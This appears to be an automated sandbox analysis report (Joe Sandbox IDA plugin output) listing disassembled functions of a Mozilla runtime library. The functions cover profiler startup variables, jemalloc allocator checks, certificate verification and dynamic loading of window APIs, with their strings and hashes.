
API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 51a7326be6f4803dcbd6baf6fd4e4f23d8af353091a10e21185990b29861f5db
Instruction ID: ae787f4062a35d5c22fae3da3df421f8bdfd422eb47e60d46d6ba66cd1272a4a
Opcode Fuzzy Hash: 51a7326be6f4803dcbd6baf6fd4e4f23d8af353091a10e21185990b29861f5db
Instruction Fuzzy Hash: DBF0F952E2874C96CB10DF7489411E67770AF7B11CF605319E88557651FB20E3DC83D1

Non-executed Functions

Function 6C955440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C955492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9554A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9554BE
__Init_thread_footer.LIBCMT ref: 6C9554DB

Part of subcall function 6C97AB3F: EnterCriticalSection.KERNEL32(6C9CE370,?,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284), ref: 6C97AB49
Part of subcall function 6C97AB3F: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97AB7C

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9554F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C955516
GetCurrentThreadId.KERNEL32 ref: 6C95556A
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C955577
moz_xmalloc.MOZGLUE(00000070), ref: 6C955585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C955590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9555E6
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C955606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C955616

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

GetCurrentThreadId.KERNEL32 ref: 6C95563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C955646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C95567C
free.MOZGLUE(?), ref: 6C9556AE

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9556E8
GetCurrentThreadId.KERNEL32 ref: 6C955707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C95570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C955729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C95574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C95576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C955796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9557B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9557CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C955717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C95584E
MOZ_BASE_PROFILER_HELP, xrefs: 6C955511
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C95548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C955CF9
MOZ_PROFILER_STARTUP, xrefs: 6C9555E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C955B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C955BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C955724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C955791
[I %d/%d] profiler_init, xrefs: 6C95564E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9554B9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C955749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C955AC9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C955D1C
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9557AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C955D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9554A3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C955D24
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9556E3
GeckoMain, xrefs: 6C955554, 6C9555D5
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9557C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C955D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C955766
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C955C56

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 0697f660e7a48bc4ff4be33f66391f60b4a5e461db748f6c3bb94bc6ee69c158
Instruction ID: a431c9fa998168411bc2219c1f571965093be00a4a5bce6faebbc363bc6a7d99
Opcode Fuzzy Hash: 0697f660e7a48bc4ff4be33f66391f60b4a5e461db748f6c3bb94bc6ee69c158
Instruction Fuzzy Hash: 7A2228B1A083409FEB00EF74C45865A7BB8FF9630CF944929E94A97B82E734D564CB53

Function 6C98B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98B845
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000), ref: 6C98B852
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98B884
InitializeConditionVariable.KERNEL32(?), ref: 6C98B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C98B9FD
GetCurrentThreadId.KERNEL32 ref: 6C98BA05
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000), ref: 6C98BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C98BA27
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98BA4B
free.MOZGLUE(?), ref: 6C98C9C7
free.MOZGLUE(?), ref: 6C98C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C98C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C98C878

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 5c488840cc9e6bdc6cedd0c5ce37ce99324ee2662c147c03ebbf219b72f9629f
Instruction ID: 985519f95e2e5a392b491bc85f5edf94c2f38cf47ea02b59a7cfa3085a9f18e8
Opcode Fuzzy Hash: 5c488840cc9e6bdc6cedd0c5ce37ce99324ee2662c147c03ebbf219b72f9629f
Instruction Fuzzy Hash: 79A29C72A093808FD725CF28C48079BB7F5BFD9718F144A2DE89997791DB70D9098B82

Function 6C956C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C956CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C956D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C956D26

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C956D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C956D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C956D73
free.MOZGLUE(00000000), ref: 6C956D80
CertGetNameStringW.CRYPT32 ref: 6C956DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C956DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C956DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C956DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C956E10
CryptMsgClose.CRYPT32(00000000), ref: 6C956E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C956E34
CreateFileW.KERNEL32 ref: 6C956EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C956F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C956F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C95709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C957103
free.MOZGLUE(00000000), ref: 6C957153
CloseHandle.KERNEL32(?), ref: 6C957176
__Init_thread_footer.LIBCMT ref: 6C957209
__Init_thread_footer.LIBCMT ref: 6C95723A
__Init_thread_footer.LIBCMT ref: 6C95726B
__Init_thread_footer.LIBCMT ref: 6C95729C
__Init_thread_footer.LIBCMT ref: 6C9572DC
__Init_thread_footer.LIBCMT ref: 6C95730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9573C2
VerSetConditionMask.NTDLL ref: 6C9573F3
VerSetConditionMask.NTDLL ref: 6C9573FF
VerSetConditionMask.NTDLL ref: 6C957406
VerSetConditionMask.NTDLL ref: 6C95740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C95741A
moz_xmalloc.MOZGLUE(?), ref: 6C95755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C957568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C957585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C957598
free.MOZGLUE(00000000), ref: 6C9575AC

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

Strings

SHA256, xrefs: 6C956EC0
wintrust.dll, xrefs: 6C9572CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C9572C8
(, xrefs: 6C95768A

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 9989a1f734485199da4fd59c8a6d0ba6e4b0b441d18cf550533abaa37a45684e
Instruction ID: 50d44a4a8ababf49dd4a8cfb66c9be916895096024e2f40313cb689d6b1e265a
Opcode Fuzzy Hash: 9989a1f734485199da4fd59c8a6d0ba6e4b0b441d18cf550533abaa37a45684e
Instruction Fuzzy Hash: FA52D4B1A052149FEB21DF24CC84BAA77BCEF55708F508199E909A7640DB70EF94CFA1

Function 6C976FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C977019
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C977061
EnterCriticalSection.KERNEL32(?), ref: 6C9771A4
LeaveCriticalSection.KERNEL32(?), ref: 6C97721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C97723E
EnterCriticalSection.KERNEL32(?), ref: 6C97726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9772B2
LeaveCriticalSection.KERNEL32(?), ref: 6C97733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9773E8
LeaveCriticalSection.KERNEL32(?), ref: 6C97961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C979622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C979642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9796CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9796DB
AcquireSRWLockExclusive.KERNEL32(6C9CE804), ref: 6C979747
GetSystemInfo.KERNEL32(?), ref: 6C979792
__Init_thread_footer.LIBCMT ref: 6C9797A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9CE810,00000040), ref: 6C9797CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7B8,00001388), ref: 6C979838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE744,00001388), ref: 6C97984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE784,00001388), ref: 6C979874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7DC,00001388), ref: 6C979895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9799D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C979933, 6C979A33, 6C979A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C979993
<jemalloc>, xrefs: 6C979B33, 6C979BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6C979BF4
MALLOC_OPTIONS, xrefs: 6C9797CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9799A8
Compile-time page size does not divide the runtime one., xrefs: 6C979B38
MOZ_CRASH(), xrefs: 6C979B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9799BD

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: ab6564695b1ab549624494169dad24007828e9a74ffc05733af8dffe071ce5a8
Instruction ID: 1f26dcda4aeaa04047a066c60800a40b54494c9d9a6a5a2a83c3623ed2d8c1ec
Opcode Fuzzy Hash: ab6564695b1ab549624494169dad24007828e9a74ffc05733af8dffe071ce5a8
Instruction Fuzzy Hash: B053AF71A067018FD728CF28C580715BBE5FF85728F29C6ADE8699B791D331E841CBA1

Function 6C980DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C980F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C980F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C980FB7
EnterCriticalSection.KERNEL32(?), ref: 6C980FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C981031
LeaveCriticalSection.KERNEL32(?), ref: 6C9810D0
EnterCriticalSection.KERNEL32(?), ref: 6C98117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C981C39
EnterCriticalSection.KERNEL32(6C9CE744), ref: 6C983391
LeaveCriticalSection.KERNEL32(6C9CE744), ref: 6C9833CD
LeaveCriticalSection.KERNEL32(?), ref: 6C983431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C983437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9837D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C983559, 6C98382D, 6C983848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C983793
<jemalloc>, xrefs: 6C983941, 6C9839F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C983A02
MALLOC_OPTIONS, xrefs: 6C9835FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9837A8
Compile-time page size does not divide the runtime one., xrefs: 6C983946
MOZ_CRASH(), xrefs: 6C983950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9837BD

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 3c503aa59a0eedbf4e61ca16759f37b27fdbe94f039f99526143b4fdcb6cc72e
Instruction ID: 17192505a8b30fa51765f9f0a770ef2afc3b531464251f20079dc408ae8fa2eb
Opcode Fuzzy Hash: 3c503aa59a0eedbf4e61ca16759f37b27fdbe94f039f99526143b4fdcb6cc72e
Instruction Fuzzy Hash: 14539E71A067018FC704CF29C540615FBE5BF8A728F29CAADE8699BB91D771E841CB81

Function 6C9A55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C97E1A5), ref: 6C9A5606
LoadLibraryW.KERNEL32(gdi32,?,6C97E1A5), ref: 6C9A560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9A5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9A563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9A566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9A567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9A5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9A56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9A56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9A56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9A56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9A5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9A572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9A5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9A5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9A577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9A5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9A57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9A57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9A57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9A57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9A57FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6C9A562D
CreateWindowExW, xrefs: 6C9A56C5
StretchDIBits, xrefs: 6C9A57CC
RegisterClassW, xrefs: 6C9A56AC
SetWindowLongPtrW, xrefs: 6C9A57B7
EnableNonClientDpiScaling, xrefs: 6C9A5666
LoadIconW, xrefs: 6C9A575B
CreateSolidBrush, xrefs: 6C9A57E4
GetDpiForWindow, xrefs: 6C9A5690
GetMonitorInfoW, xrefs: 6C9A57A2
ReleaseDC, xrefs: 6C9A5742
ShowWindow, xrefs: 6C9A56DE
gdi32, xrefs: 6C9A560A
SetWindowPos, xrefs: 6C9A56F7
LoadCursorW, xrefs: 6C9A5774
FillRect, xrefs: 6C9A5729
DeleteObject, xrefs: 6C9A57F9
user32, xrefs: 6C9A5601
GetSystemMetricsForDpi, xrefs: 6C9A5677
AreDpiAwarenessContextsEqual, xrefs: 6C9A5637
MonitorFromWindow, xrefs: 6C9A578D
GetWindowDC, xrefs: 6C9A5710

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 685b86cfb03f918b29ad5136d3b4e6cdb94b0acb49228935a881c204c745e9b1
Instruction ID: f433c7c11b295067e5efa8c9844e4654b1e7d42f387b5c62453cc415c3dd3a04
Opcode Fuzzy Hash: 685b86cfb03f918b29ad5136d3b4e6cdb94b0acb49228935a881c204c745e9b1
Instruction Fuzzy Hash: E951A474709B46ABEB009F79CD4893A3AFCBB476497304469E911E3A51EF74CA01CFA1

Function 6C9A34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3527
